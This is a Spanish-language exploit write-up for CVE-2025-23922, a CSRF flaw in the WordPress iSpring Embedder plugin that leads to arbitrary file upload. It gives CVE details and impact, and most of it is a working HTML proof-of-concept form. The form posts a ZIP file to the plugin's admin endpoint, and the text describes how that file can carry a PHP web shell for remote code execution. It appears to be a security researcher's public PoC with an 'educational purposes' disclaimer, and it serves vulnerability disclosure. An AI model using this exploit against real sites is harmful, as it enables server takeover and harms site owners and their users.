CVE-2025-23922 - WordPress iSpring Embedder: de CSRF a Subida Arbitraria de Archivos

📌 Detalles del CVE

CVE ID: CVE-2025-23922
Publicado: 2025-01-16
Plugin afectado: WordPress iSpring Embedder plugin
Versiones afectadas: <= 1.0
Autor del plugin: Harsh
Tipo de vulnerabilidad: Cross-Site Request Forgery (CSRF) → Subida Arbitraria de Archivos
ID CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Puntuación CVSS: 10.0 (Crítica)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

🔥 Descripción

Una vulnerabilidad de CSRF en el plugin de WordPress iSpring Embedder permite a un atacante remoto no autenticado engañar a un administrador autenticado para que suba archivos arbitrarios (como un web shell de PHP) al servidor.

El endpoint vulnerable no implementa ninguna protección CSRF, y la función de subida de archivos acepta archivos .zip, que se extraen en la siguiente ubicación:

/wp-content/uploads/iSpring_embedder/

💡 Impacto

Un atacante puede:

Provocar subidas de archivos sin autenticación.
Obtener ejecución remota de código (RCE) subiendo un archivo PHP malicioso dentro de un archivo ZIP.
Comprometer todo el servidor web encadenando esto con un web shell manipulado.

🚀 Exploit de Prueba de Concepto (PoC) (HTML)

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>CSRF File Upload Exploit</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      background-color: #f4f4f4;
      padding: 20px;
    }
    .container {
      background: #fff;
      padding: 25px;
      border-radius: 10px;
      box-shadow: 0 0 10px rgba(0,0,0,0.1);
      max-width: 600px;
      margin: auto;
    }
    h1 {
      color: #d9534f;
    }
    input[type="file"],
    input[type="submit"] {
      margin-top: 10px;
      padding: 10px;
      font-size: 16px;
    }
    .footer {
      margin-top: 30px;
      font-size: 14px;
      color: #777;
      text-align: center;
    }
  </style>
</head>
<body>
  <div class="container">
    <h1>CSRF Exploit – File Upload</h1>

    <p>
      This is a proof-of-concept (PoC) exploit for the following vulnerability:
    </p>
    <ul>
      <li><strong>Vulnerability:</strong> CSRF leading to Arbitrary File Upload</li>
      <li><strong>Plugin:</strong> iSpring Embedder for WordPress (<= v1.0)</li>
      <li><strong>CVE:</strong> CVE-2025-23922</li>
      <li><strong>Impact:</strong> Remote attackers can coerce an authenticated administrator to upload arbitrary files, potentially including web shells.</li>
      <li><strong>Upload Path:</strong> <code>/wp-content/uploads/iSpring_embedder/</code></li>
    </ul>

    <form id="csrfForm" action="http://wordpresssite/wp-admin/admin.php?page=ispring-embedder" method="POST" enctype="multipart/form-data">
      <label><strong>Select ZIP file to upload:</strong></label><br>
      <input type="file" name="zip_file" required><br>
      <input type="hidden" name="file_name" value="exploit_csrf">
      <input type="submit" name="submit_ispring_form" value="Upload File via CSRF">
    </form>

    <div class="footer">
      <p>
        Exploit for <strong>CSRF to Arbitrary File Upload vulnerability</strong><br>
        <strong>CVE-2025-23922</strong><br>
        Developed by <strong>Nxploit | Khaled Alenazi</strong>
      </p>
    </div>
  </div>
</body>
</html>

⚠️ Descargo de responsabilidad

Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación.
El autor no es responsable de ningún uso indebido o daño causado por este exploit.

Nxploit | Khaled Alenazi
Investigador de Seguridad y Desarrollador de Exploits
https://github.com/Nxploit

CVE-2025-23922